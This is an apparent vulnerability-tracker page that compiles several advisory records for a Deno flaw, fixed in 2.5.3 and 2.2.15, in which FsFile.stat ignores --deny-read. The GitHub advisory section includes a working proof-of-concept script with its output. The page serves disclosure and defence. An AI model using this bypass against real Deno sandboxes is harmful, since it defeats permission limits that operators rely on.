Deno's --deny-read check does not prevent permission bypass

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No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`). Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Source published

8 Oct 2025 00:49:42 UTC

Source modified

8 Oct 2025 18:54:33 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 3.3 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`). Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Source published

Oct 8, 2025, 12:49:42 AM (timezone not stated)

Source modified

Oct 8, 2025, 6:54:33 PM (timezone not stated)

Observed here

11 Nov 2026 04:29:44 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 3.3 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`). Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Source published

8 Oct 2025 01:15:33 UTC

Source modified

8 Oct 2026 13:10:00 UTC

Observed here

25 Oct 2026 03:17:27 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 3.3 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

### Summary `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`) Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. ### PoC Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3 touch test1.txt ``` - `poc_file.stat.ts` ```ts // touch test1.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1 // deno run --allow-write=./ poc_file.stat.ts 1 async function poc1(){ using file = await Deno.open("./test1.txt", { read: false, write: true}); const fileInfo = await file.stat(); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2 // deno run --allow-write=./ poc_file.stat.ts 2 function poc2(){ using file = Deno.openSync("./test1.txt", { read: false, write: true}); const fileInfo = file.statSync(); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3 // deno run --allow-write=./ poc_file.stat.ts 3 async function poc3(){ // not executed const fileInfo = await Deno.stat("./test1.txt"); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4 // deno run --allow-write=./ poc_file.stat.ts 4 function poc4(){ // not executed const fileInfo = Deno.statSync("./test1.txt"); console.log(fileInfo.isFile); } async function main(){ const poc = Deno.args[0] || 1; const status = await Deno.permissions.query({ name: "read", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } } main() ``` Output: - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1` ``` PermissionStatus { state: "denied", onchange: null } true ``` - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2` ``` PermissionStatus { state: "denied", onchange: null } true ``` - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = await Deno.stat("./test1.txt"); ^ ... ``` - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = Deno.statSync("./test1.txt"); ^ ... ``` ### Impact Permission model bypass

Source published

8 Oct 2025 17:56:40 UTC

Source modified

8 Oct 2025 18:27:30 UTC

Observed here

24 Oct 2026 13:19:54 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Publisher rating · LOW